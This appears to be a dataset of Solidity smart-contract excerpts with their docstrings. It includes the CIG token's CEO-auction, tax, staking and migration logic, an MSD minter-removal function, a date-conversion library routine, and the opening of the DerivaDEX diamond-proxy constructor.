_MASTERCHEF_V2; CEO_state = 3; // begin in migration state } /** * @dev buyCEO allows anybody to be the CEO * @param _max_spend the total CIG that can be spent * @param _new_price the new price for the punk (in CIG) * @param _tax_amount how much to pay in advance (in CIG) * @param _punk_index the id of the punk 0-9999 * @param _graffiti a little message / ad from the buyer */ function buyCEO( uint256 _max_spend, uint256 _new_price, uint256 _tax_amount, uint256 _punk_index, bytes32 _graffiti ) external { require (CEO_state != 3); // disabled in in migration state if (CEO_state == 1 && (taxBurnBlock != block.number)) { _burnTax(); // _burnTax can change CEO_state to 2 } if (CEO_state == 2) { // Auction state. The price goes down 10% every `CEO_auction_blocks` blocks CEO_price = _calcDiscount(); } require (CEO_price + _tax_amount <= _max_spend, "overpaid"); // prevent CEO over-payment require (_new_price >= MIN_PRICE, "price 2 smol"); // price cannot be under 0.000001 CIG require (_punk_index <= 9999, "invalid punk"); // validate the punk index require (_tax_amount >= _new_price / 1000, "insufficient tax" ); // at least %0.1 fee paid for 1 epoch transfer(address(this), CEO_price); // pay for the CEO title _burn(address(this), CEO_price); // burn the revenue emit RevenueBurned(msg.sender, CEO_price); _returnDeposit(The_CEO, CEO_tax_balance); // return deposited tax back to old CEO transfer(address(this), _tax_amount); // deposit tax (reverts if not enough) CEO_tax_balance = _tax_amount; // store the tax deposit amount _transferNFT(The_CEO, msg.sender); // yank the NFT to the new CEO CEO_price = _new_price; // set the new price CEO_punk_index = _punk_index; // store the punk id The_CEO = msg.sender; // store the CEO's address taxBurnBlock = block.number; // store the block number // (tax may not have been burned if the // previous state was 0) CEO_state = 1; graffiti = _graffiti; emit TaxDeposit(msg.sender, _tax_amount); emit NewCEO(msg.sender, _punk_index, _new_price, _graffiti); } /** * @dev _returnDeposit returns the tax deposit back to the CEO * @param _to address The address which you want to transfer to * remember to update CEO_tax_balance after calling this */ function _returnDeposit( address _to, uint256 _amount ) internal { if (_amount == 0) { return; } balanceOf[address(this)] = balanceOf[address(this)] - _amount; balanceOf[_to] = balanceOf[_to] + _amount; emit Transfer(address(this), _to, _amount); //CEO_tax_balance = 0; // can be omitted since value gets overwritten by caller } /** * @dev transfer the NFT to a new wallet */ function _transferNFT(address _oldCEO, address _newCEO) internal { The_NFT.transferFrom(_oldCEO, _newCEO, 0); } /** * @dev depositTax pre-pays tax for the existing CEO. * It may also burn any tax debt the CEO may have. * @param _amount amount of tax to pre-pay */ function depositTax(uint256 _amount) external onlyCEO { require (CEO_state == 1, "no CEO"); if (_amount > 0) { transfer(address(this), _amount); // place the tax on deposit CEO_tax_balance = CEO_tax_balance + _amount; // record the balance emit TaxDeposit(msg.sender, _amount); } if (taxBurnBlock != block.number) { _burnTax(); // settle any tax debt taxBurnBlock = block.number; } } /** * @dev burnTax is called to burn tax. * It removes the CEO if tax is unpaid. * 1. deduct tax, update last update * 2. if not enough tax, remove & begin auction * 3. reward the caller by minting a reward from the amount indebted * A Dutch auction begins where the price decreases 10% every hour. */ function burnTax() external { if (taxBurnBlock == block.number) return; if (CEO_state == 1) { _burnTax(); taxBurnBlock = block.number; } } /** * @dev _burnTax burns any tax debt. Boots the CEO if defaulted, paying a reward to the caller */ function _burnTax() internal { // calculate tax per block (tpb) uint256 tpb = CEO_price / 1000 / CEO_epoch_blocks; // 0.1% per epoch uint256 debt = (block.number - taxBurnBlock) * tpb; if (CEO_tax_balance !=0 && CEO_tax_balance >= debt) { // Does CEO have enough deposit to pay debt? CEO_tax_balance = CEO_tax_balance - debt; // deduct tax _burn(address(this), debt); // burn the tax emit TaxBurned(msg.sender, debt); } else { // CEO defaulted uint256 default_amount = debt - CEO_tax_balance; // calculate how much defaulted _burn(address(this), CEO_tax_balance); // burn the tax emit TaxBurned(msg.sender, CEO_tax_balance); CEO_state = 2; // initiate a Dutch auction. CEO_tax_balance = 0; _transferNFT(The_CEO, address(this)); // This contract holds the NFT temporarily The_CEO = address(this); // This contract is the "interim CEO" _mint(msg.sender, default_amount); // reward the caller for reporting tax default emit CEODefaulted(msg.sender, default_amount); } } /** * @dev setPrice changes the price for the CEO title. * @param _price the price to be paid. The new price most be larger tan MIN_PRICE and not default on debt */ function setPrice(uint256 _price) external onlyCEO { require(CEO_state == 1, "No CEO in charge"); require (_price >= MIN_PRICE, "price 2 smol"); require (CEO_tax_balance >= _price / 1000, "price would default"); // need at least 0.1% for tax if (block.number != taxBurnBlock) { _burnTax(); taxBurnBlock = block.number; } // The state is 1 if the CEO hasn't defaulted on tax if (CEO_state == 1) { CEO_price = _price; // set the new price emit CEOPriceChange(_price); } } /** * @dev rewardUp allows the CEO to increase the block rewards by %20 * Can only be called by the CEO every 2 epochs * @return _amount increased by */ function rewardUp() external onlyCEO returns (uint256) { require(CEO_state == 1, "No CEO in charge"); require(block.number > rewardsChangedBlock + (CEO_epoch_blocks*2), "wait more blocks"); require (cigPerBlock < MAX_REWARD, "reward already max"); rewardsChangedBlock = block.number; uint256 _amount = cigPerBlock / 5; // %20 uint256 _new_reward = cigPerBlock + _amount; if (_new_reward > MAX_REWARD) { _amount = MAX_REWARD - cigPerBlock; _new_reward = MAX_REWARD; // cap } cigPerBlock = _new_reward; emit RewardUp(_new_reward, _amount); return _amount; } /** * @dev rewardDown decreases the block rewards by 20% * Can only be called by the CEO every 2 epochs */ function rewardDown() external onlyCEO returns (uint256) { require(CEO_state == 1, "No CEO in charge"); require(block.number > rewardsChangedBlock + (CEO_epoch_blocks*2), "wait more blocks"); require(cigPerBlock > MIN_REWARD, "reward already low"); rewardsChangedBlock = block.number; uint256 _amount = cigPerBlock / 5; // %20 uint256 _new_reward = cigPerBlock - _amount; if (_new_reward < MIN_REWARD) { _amount = cigPerBlock - MIN_REWARD; _new_reward = MIN_REWARD; // limit } cigPerBlock = _new_reward; emit RewardDown(_new_reward, _amount); return _amount; } /** * @dev _calcDiscount calculates the discount for the CEO title based on how many blocks passed */ function _calcDiscount() internal view returns (uint256) { unchecked { uint256 d = (CEO_price / 10) // 10% discount // multiply by the number of discounts accrued * ((block.number - taxBurnBlock) / CEO_auction_blocks); if (d > CEO_price) { // overflow assumed, reset to MIN_PRICE return MIN_PRICE; } uint256 price = CEO_price - d; if (price < MIN_PRICE) { price = MIN_PRICE; } return price; } } /* * 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 Information used by the UI 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 */ /** * @dev getStats helps to fetch some stats for the GUI in a single web3 call * @param _user the address to return the report for * @return uint256[27] the stats * @return address of the current CEO * @return bytes32 Current graffiti */ function getStats(address _user) external view returns(uint256[] memory, address, bytes32, uint112[] memory) { uint[] memory ret = new uint[](27); uint112[] memory reserves = new uint112[](2); uint256 tpb = (CEO_price / 1000) / (CEO_epoch_blocks); // 0.1% per epoch uint256 debt = (block.number - taxBurnBlock) * tpb; uint256 price = CEO_price; UserInfo memory info = farmers[_user]; if (CEO_state == 2) { price = _calcDiscount(); } ret[0] = CEO_state; ret[1] = CEO_tax_balance; ret[2] = taxBurnBlock; // the block number last tax burn ret[3] = rewardsChangedBlock; // the block of the last staking rewards change ret[4] = price; // price of the CEO title ret[5] = CEO_punk_index; // punk ID of CEO ret[6] = cigPerBlock; // staking reward per block ret[7] = totalSupply; // total supply of CIG if (address(lpToken) != address(0)) { ret[8] = lpToken.balanceOf(address(this)); // Total LP staking ret[16] = lpToken.balanceOf(_user); // not staked by user ret[17] = pendingCig(_user); // pending harvest (reserves[0], reserves[1], ) = lpToken.getReserves(); // uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast ret[18] = V2ROUTER.getAmountOut(1 ether, uint(reserves[0]), uint(reserves[1])); // CIG price in ETH if (isContract(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2))) { // are we on mainnet? ILiquidityPoolERC20 ethusd = ILiquidityPoolERC20(address(0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f)); // sushi DAI-WETH pool uint112 r0; uint112 r1; (r0, r1, ) = ethusd.getReserves(); // get the price of ETH in USD ret[19] = V2ROUTER.getAmountOut(1 ether, uint(r0), uint(r1)); // ETH price in USD } ret[22] = lpToken.totalSupply(); // total supply } ret[9] = block.number; // current block number ret[10] = tpb; // "tax per block" (tpb) ret[11] = debt; // tax debt accrued ret[12] = lastRewardBlock; // the block of the last staking rewards payout update ret[13] = info.deposit; // amount of LP tokens staked by user ret[14] = info.rewardDebt; // amount of rewards paid out ret[15] = balanceOf[_user]; // amount of CIG held by user ret[20] = accCigPerShare; // Accumulated cigarettes per share ret[21] = balanceOf[address(punks)]; // amount of CIG to be claimed ret[23] = wBal[_user]; // wrapped cig balance ret[24] = OC.balanceOf(_user); // balance of old cig in old isContract ret[25] = OC.allowance(_user, address(this));// is old contract approved (ret[26], ) = OC.userInfo(_user); // old contract stake bal return (ret, The_CEO, graffiti, reserves); } /** * @dev Returns true if `account` is a contract. * * credits https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol */ function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 Token distribution and farming stuff 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 */ /** * @dev isClaimed checks to see if a punk was claimed * @param _punkIndex the punk number */ function isClaimed(uint256 _punkIndex) external view returns (bool) { if (claims[_punkIndex]) { return true; } if (OC.claims(_punkIndex)) { return true; } return false; } /** * Claim claims the initial CIG airdrop using a punk * @param _punkIndex the index of the punk, number between 0-9999 */ function claim(uint256 _punkIndex) external returns(bool) { require (CEO_state != 3, "invalid state"); // disabled in migration state require (_punkIndex <= 9999, "invalid punk"); require(claims[_punkIndex] == false, "punk already claimed"); require(OC.claims(_punkIndex) == false, "punk already claimed"); // claimed in old contract require(msg.sender == punks.punkIndexToAddress(_punkIndex), "punk 404"); claims[_punkIndex] = true; balanceOf[address(punks)] = balanceOf[address(punks)] - CLAIM_AMOUNT; // deduct from the punks contract balanceOf[msg.sender] = balanceOf[msg.sender] + CLAIM_AMOUNT; // deposit to the caller emit Transfer(address(punks), msg.sender, CLAIM_AMOUNT); emit Claim(msg.sender, _punkIndex, CLAIM_AMOUNT); return true; } /** * @dev Gets the LP supply, with masterchef deposits taken into account. */ function stakedlpSupply() public view returns(uint256) { return lpToken.balanceOf(address(this)) + masterchefDeposits; } /** * @dev update updates the accCigPerShare value and mints new CIG rewards to be distributed to LP stakers * Credits go to MasterChef.sol * Modified the original by removing poolInfo as there is only a single pool * Removed totalAllocPoint and pool.allocPoint * pool.lastRewardBlock moved to lastRewardBlock * There is no need for getMultiplier (rewards are adjusted by the CEO) * */ function update() public { if (block.number <= lastRewardBlock) { return; } uint256 supply = stakedlpSupply(); if (supply == 0) { lastRewardBlock = block.number; return; } // mint some new cigarette rewards to be distributed uint256 cigReward = (block.number - lastRewardBlock) * cigPerBlock; _mint(address(this), cigReward); accCigPerShare = accCigPerShare + ( cigReward * 1e12 / supply ); lastRewardBlock = block.number; } /** * @dev pendingCig displays the amount of cig to be claimed * @param _user the address to report */ function pendingCig(address _user) view public returns (uint256) { uint256 _acps = accCigPerShare; // accumulated cig per share UserInfo storage user = farmers[_user]; uint256 supply = stakedlpSupply(); if (block.number > lastRewardBlock && supply != 0) { uint256 cigReward = (block.number - lastRewardBlock) * cigPerBlock; _acps = _acps + ( cigReward * 1e12 / supply ); } return (user.deposit * _acps / 1e12) - user.rewardDebt; } /** * @dev userInfo is added for compatibility with the Snapshot.org interface. */ function userInfo(uint256, address _user) view external returns (uint256, uint256 depositAmount) { return (0,farmers[_user].deposit + farmersMasterchef[_user].deposit); } /** * @dev deposit deposits LP tokens to be staked. * @param _amount the amount of LP tokens to deposit. Assumes this contract has been approved for the _amount. */ function deposit(uint256 _amount) external { require(_amount != 0, "You cannot deposit only 0 tokens"); // Check how many bytes UserInfo storage user = farmers[msg.sender]; update(); _deposit(user, _amount); require(lpToken.transferFrom( address(msg.sender), address(this), _amount )); emit Deposit(msg.sender, _amount); } function _deposit(UserInfo storage _user, uint256 _amount) internal { _user.deposit += _amount; _user.rewardDebt += _amount * accCigPerShare / 1e12; } /** * @dev withdraw takes out the LP tokens * @param _amount the amount to withdraw */ function withdraw(uint256 _amount) external { UserInfo storage user = farmers[msg.sender]; update(); /* harvest beforehand, so _withdraw can safely decrement their reward count */ _harvest(user, msg.sender); _withdraw(user, _amount); /* Interact */ require(lpToken.transferFrom( address(this), address(msg.sender), _amount )); emit Withdraw(msg.sender, _amount); } /** * @dev Internal withdraw, updates internal accounting after withdrawing LP * @param _amount to subtract */ function _withdraw(UserInfo storage _user, uint256 _amount) internal { require(_user.deposit >= _amount, "Balance is too low"); _user.deposit -= _amount; uint256 _rewardAmount = _amount * accCigPerShare / 1e12; _user.rewardDebt -= _rewardAmount; } /** * @dev harvest redeems pending rewards & updates state */ function harvest() external { UserInfo storage user = farmers[msg.sender]; update(); _harvest(user, msg.sender); } /** * @dev Internal harvest * @param _to the amount to harvest */ function _harvest(UserInfo storage _user, address _to) internal { uint256 potentialValue = (_user.deposit * accCigPerShare / 1e12); uint256 delta = potentialValue - _user.rewardDebt; safeSendPayout(_to, delta); // Recalculate their reward debt now that we've given them their reward _user.rewardDebt = _user.deposit * accCigPerShare / 1e12; emit Harvest(msg.sender, _to, delta); } /** * @dev safeSendPayout, just in case if rounding error causes pool to not have enough CIGs. * @param _to recipient address * @param _amount the value to send */ function safeSendPayout(address _to, uint256 _amount) internal { uint256 cigBal = balanceOf[address(this)]; require(cigBal >= _amount, "insert more tobacco leaves..."); unchecked { balanceOf[address(this)] = balanceOf[address(this)] - _amount; balanceOf[_to] = balanceOf[_to] + _amount; } emit Transfer(address(this), _to, _amount); } /** * @dev emergencyWithdraw does a withdraw without caring about rewards. EMERGENCY ONLY. */ function emergencyWithdraw() external { UserInfo storage user = farmers[msg.sender]; uint256 amount = user.deposit; user.deposit = 0; user.rewardDebt = 0; // Interact require(lpToken.transfer( address(msg.sender), amount )); emit EmergencyWithdraw(msg.sender, amount); } /* * 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 Migration 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 */ /** * @dev renounceOwnership burns the admin key, so this contract is unruggable */ function renounceOwnership() external onlyAdmin { admin = address(0); } /** * @dev setStartingBlock sets the starting block for LP staking rewards * Admin only, used only for initial configuration. * @param _startBlock the block to start rewards for */ function setStartingBlock(uint256 _startBlock) external onlyAdmin { lastRewardBlock = _startBlock; } /** * @dev setPool address to an LP pool. Only Admin. (used only in testing/deployment) */ function setPool(ILiquidityPoolERC20 _addr) external onlyAdmin { require(address(lpToken) == address(0), "pool already set"); lpToken = _addr; } /** * @dev setReward sets the reward. Admin only (used only in testing/deployment) */ function setReward(uint256 _value) public onlyAdmin { cigPerBlock = _value; } /** * @dev migrationComplete completes the migration */ function migrationComplete() external { require (CEO_state == 3); require (OC.CEO_state() == 1); require (block.number > lastRewardBlock, "cannot end migration yet"); CEO_state = 1; // CEO is in charge state OC.burnTax(); // before copy, burn the old CEO's tax /* copy the state over to this contract */ _mint(address(punks), OC.balanceOf(address(punks))); // CIG to be set aside for the remaining airdrop uint256 taxDeposit = OC.CEO_tax_balance(); The_CEO = OC.The_CEO(); // copy the CEO if (taxDeposit > 0) { // copy the CEO's outstanding tax _mint(address(this), taxDeposit); // mint tax that CEO had locked in previous contract (cannot be migrated) CEO_tax_balance = taxDeposit; } taxBurnBlock = OC.taxBurnBlock(); CEO_price = OC.CEO_price(); graffiti = OC.graffiti(); CEO_punk_index = OC.CEO_punk_index(); cigPerBlock = STARTING_REWARDS; // set special rewards lastRewardBlock = OC.lastRewardBlock();// start rewards rewardsChangedBlock = OC.rewardsChangedBlock(); /* Historical records */ _transferNFT( address(0), address(0x1e32a859d69dde58d03820F8f138C99B688D132F) ); emit NewCEO( address(0x1e32a859d69dde58d03820F8f138C99B688D132F), 0x00000000000000000000000000000000000000000000000000000000000015c9, 0x000000000000000000000000000000000000000000007618fa42aac317900000, 0x41732043454f2049206465636c617265204465632032322050756e6b20446179 ); _transferNFT( address(0x1e32a859d69dde58d03820F8f138C99B688D132F), address(0x72014B4EEdee216E47786C4Ab27Cc6344589950d) ); emit NewCEO( address(0x72014B4EEdee216E47786C4Ab27Cc6344589950d), 0x0000000000000000000000000000000000000000000000000000000000000343, 0x00000000000000000000000000000000000000000001a784379d99db42000000, 0x40617a756d615f626974636f696e000000000000000000000000000000000000 ); _transferNFT( address(0x72014B4EEdee216E47786C4Ab27Cc6344589950d), address(0x4947DA4bEF9D79bc84bD584E6c12BfFa32D1bEc8) ); emit NewCEO( address(0x4947DA4bEF9D79bc84bD584E6c12BfFa32D1bEc8), 0x00000000000000000000000000000000000000000000000000000000000007fa, 0x00000000000000000000000000000000000000000014adf4b7320334b9000000, 0x46697273742070756e6b7320746f6b656e000000000000000000000000000000 ); } /** * @dev wrap wraps old CIG and issues new CIG 1:1 * @param _value how much old cig to wrap */ function wrap(uint256 _value) external { require (CEO_state == 3); OC.transferFrom(msg.sender, address(this), _value); // transfer old cig to here _mint(msg.sender, _value); // give user new cig wBal[msg.sender] = wBal[msg.sender] + _value; // record increase of wrapped old cig for caller } /** * @dev unwrap unwraps old CIG and burns new CIG 1:1 */ function unwrap(uint256 _value) external { require (CEO_state == 3); _burn(msg.sender, _value); // burn new cig OC.transfer(msg.sender, _value); // give back old cig wBal[msg.sender] = wBal[msg.sender] - _value; // record decrease of wrapped old cig for caller } /* * 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 ERC20 Token stuff 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 */ /** * @dev burn some tokens * @param _from The address to burn from * @param _amount The amount to burn */ function _burn(address _from, uint256 _amount) internal { balanceOf[_from] = balanceOf[_from] - _amount; totalSupply = totalSupply - _amount; emit Transfer(_from, address(0), _amount); } /** * @dev mint new tokens * @param _to The address to mint to. * @param _amount The amount to be minted. */ function _mint(address _to, uint256 _amount) internal { require(_to != address(0), "ERC20: mint to the zero address"); unchecked { totalSupply = totalSupply + _amount; balanceOf[_to] = balanceOf[_to] + _amount; } emit Transfer(address(0), _to, _amount); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { //require(_value <= balanceOf[msg.sender], "value exceeds balance"); // SafeMath already checks this balanceOf[msg.sender] = balanceOf[msg.sender] - _value; balanceOf[_to] = balanceOf[_to] + _value; emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { uint256 a = allowance[_from][msg.sender]; // read allowance //require(_value <= balanceOf[_from], "value exceeds balance"); // SafeMath already checks this if (a != type(uint256).max) { // not infinite approval require(_value <= a, "not approved"); unchecked { allowance[_from][msg.sender] = a - _value; } } balanceOf[_from] = balanceOf[_from] - _value; balanceOf[_to] = balanceOf[_to] + _value; emit Transfer(_from, _to, _value); return true; } /** * @dev Approve tokens of mount _value to be spent by _spender * @param _spender address The spender * @param _value the stipend to spend */ function approve(address _spender, uint256 _value) external returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 Masterchef v2 integration 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 */ /** * @dev onSushiReward implements the SushiSwap masterchefV2 callback, guarded by the onlyMCV2 modifier * @param _user address called on behalf of * @param _to address who send rewards to * @param _sushiAmount uint256, if not 0 then the rewards will be harvested * @param _newLpAmount uint256, amount of LP tokens staked at Sushi */ function onSushiReward ( uint256 /* pid */, address _user, address _to, uint256 _sushiAmount, uint256 _newLpAmount) external onlyMCV2 { UserInfo storage user = farmersMasterchef[_user]; update(); // Harvest sushi when there is sushiAmount passed through as this only comes in the event of the masterchef contract harvesting if(_sushiAmount != 0) _harvest(user, _to); // send outstanding CIG to _to uint256 delta; // Withdraw stake if(user.deposit >= _newLpAmount) { // Delta is withdraw delta = user.deposit - _newLpAmount; masterchefDeposits -= delta; // subtract from staked total _withdraw(user, delta); emit ChefWithdraw(_user, delta); } // Deposit stake else if(user.deposit != _newLpAmount) { // Delta is deposit delta = _newLpAmount - user.deposit; masterchefDeposits += delta; // add to staked total _deposit(user, delta); emit ChefDeposit(_user, delta); } } // onlyMCV2 ensures only the MasterChefV2 contract can call this modifier onlyMCV2 { require( msg.sender == MASTERCHEF_V2, "Only MCV2" ); _; } } /* * 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 interfaces 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 */ /** * @dev IRouterV2 is the sushi router 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F */ interface IRouterV2 { function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) external pure returns(uint256 amountOut); } /** * @dev ICryptoPunk used to query the cryptopunks contract to verify the owner */ interface ICryptoPunk { //function balanceOf(address account) external view returns (uint256); function punkIndexToAddress(uint256 punkIndex) external returns (address); //function punksOfferedForSale(uint256 punkIndex) external returns (bool, uint256, address, uint256, address); //function buyPunk(uint punkIndex) external payable; //function transferPunk(address to, uint punkIndex) external; } interface ICEOERC721 { function transferFrom(address _from, address _to, uint256 _tokenId) external payable; } /* * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * 0xTycoon was here * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev from UniswapV2Pair.sol */ interface ILiquidityPoolERC20 is IERC20 { function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast); function totalSupply() external view returns(uint); } interface IOldCigtoken is IERC20 { function claims(uint256) external view returns (bool); function graffiti() external view returns (bytes32); function cigPerBlock() external view returns (uint256); function The_CEO() external view returns (address); function CEO_punk_index() external view returns (uint); function CEO_price() external view returns (uint256); function CEO_state() external view returns (uint256); function CEO_tax_balance() external view returns (uint256); function taxBurnBlock() external view returns (uint256); function lastRewardBlock() external view returns (uint256); function rewardsChangedBlock() external view returns (uint256); function userInfo(address) external view returns (uint256, uint256); function burnTax() external; } // 🚬
🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬 interfaces 🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬🚬/ IRouterV2 is the sushi router 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F/
interface IRouterV2 { function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) external pure returns(uint256 amountOut); }
1,073,066
./full_match/1/0xd45a90376220237f18eF0B72F31d5683345566db/sources/contracts/msd/MSDControllerV2.sol
Remove `minters` from minters and reset mint cap to 0. If `minter` is minters, emits a `MinterRemoved` event. _minters The minters to remove Requirements: - the caller must be `owner`, `_token` must be a MSD Token./
function _removeMinters(address _token, address[] calldata _minters) external onlyOwner onlyMSD(_token) { uint256 _len = _minters.length; for (uint256 i = 0; i < _len; i++) { _removeMinterInternal(_token, _minters[i]); _setMintCapInternal(_token, _minters[i], 0); } }
4,985,712
./full_match/10/0xAF18644083151cf57F914CCCc23c42A1892C218e/sources/project:/contracts/libs/BokkyPooBahsDateTimeLibrary.sol
------------------------------------------------------------------------ Calculate year/month/day from the number of days since 1970/01/01 using the date conversion algorithm from http:aa.usno.navy.mil/faq/docs/JD_Formula.php and adding the offset 2440588 so that 1970/01/01 is day 0 int L = days + 68569 + offset int N = 4 L / 146097 L = L - (146097 N + 3) / 4 year = 4000 (L + 1) / 1461001 L = L - 1461 year / 4 + 31 month = 80 L / 2447 dd = L - 2447 month / 80 L = month / 11 month = month + 2 - 12 L year = 100 (N - 49) + year + L ------------------------------------------------------------------------
function _daysToDate(uint256 _days) private pure returns ( uint256 year, uint256 month, uint256 day ) { int256 __days = int256(_days); int256 L = __days + 68569 + _OFFSET19700101; int256 N = (4 * L) / 146097; L = L - (146097 * N + 3) / 4; int256 _year = (4000 * (L + 1)) / 1461001; L = L - (1461 * _year) / 4 + 31; int256 _month = (80 * L) / 2447; int256 _day = L - (2447 * _month) / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint256(_year); month = uint256(_month); day = uint256(_day); }
3,779,331
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { LibDiamondCut } from "./diamond/LibDiamondCut.sol"; import { DiamondFacet } from "./diamond/DiamondFacet.sol"; import { OwnershipFacet } from "./diamond/OwnershipFacet.sol"; import { LibDiamondStorage } from "./diamond/LibDiamondStorage.sol"; import { IDiamondCut } from "./diamond/IDiamondCut.sol"; import { IDiamondLoupe } from "./diamond/IDiamondLoupe.sol"; import { IERC165 } from "./diamond/IERC165.sol"; import { LibDiamondStorageDerivaDEX } from "./storage/LibDiamondStorageDerivaDEX.sol"; import { IDDX } from "./tokens/interfaces/IDDX.sol"; /** * @title DerivaDEX * @author DerivaDEX * @notice This is the diamond for DerivaDEX. All current * and future logic runs by way of this contract. * @dev This diamond implements the Diamond Standard (EIP #2535). */ contract DerivaDEX { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @notice This constructor initializes the upgrade machinery (as * per the Diamond Standard), sets the admin of the proxy * to be the deploying address (very temporary), and sets * the native DDX governance/operational token. * @param _ddxToken The native DDX token address. */ constructor(IDDX _ddxToken) public { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); // Temporarily set admin to the deploying address to facilitate // adding the Diamond functions dsDerivaDEX.admin = msg.sender; // Set DDX token address for token logic in facet contracts require(address(_ddxToken) != address(0), "DerivaDEX: ddx token is zero address."); dsDerivaDEX.ddxToken = _ddxToken; emit OwnershipTransferred(address(0), msg.sender); // Create DiamondFacet contract - // implements DiamondCut interface and DiamondLoupe interface DiamondFacet diamondFacet = new DiamondFacet(); // Create OwnershipFacet contract which implements ownership // functions and supportsInterface function OwnershipFacet ownershipFacet = new OwnershipFacet(); IDiamondCut.FacetCut[] memory diamondCut = new IDiamondCut.FacetCut[](2); // adding diamondCut function and diamond loupe functions diamondCut[0].facetAddress = address(diamondFacet); diamondCut[0].action = IDiamondCut.FacetCutAction.Add; diamondCut[0].functionSelectors = new bytes4[](6); diamondCut[0].functionSelectors[0] = DiamondFacet.diamondCut.selector; diamondCut[0].functionSelectors[1] = DiamondFacet.facetFunctionSelectors.selector; diamondCut[0].functionSelectors[2] = DiamondFacet.facets.selector; diamondCut[0].functionSelectors[3] = DiamondFacet.facetAddress.selector; diamondCut[0].functionSelectors[4] = DiamondFacet.facetAddresses.selector; diamondCut[0].functionSelectors[5] = DiamondFacet.supportsInterface.selector; // adding ownership functions diamondCut[1].facetAddress = address(ownershipFacet); diamondCut[1].action = IDiamondCut.FacetCutAction.Add; diamondCut[1].functionSelectors = new bytes4[](2); diamondCut[1].functionSelectors[0] = OwnershipFacet.transferOwnershipToSelf.selector; diamondCut[1].functionSelectors[1] = OwnershipFacet.getAdmin.selector; // execute internal diamondCut function to add functions LibDiamondCut.diamondCut(diamondCut, address(0), new bytes(0)); // adding ERC165 data ds.supportedInterfaces[IERC165.supportsInterface.selector] = true; 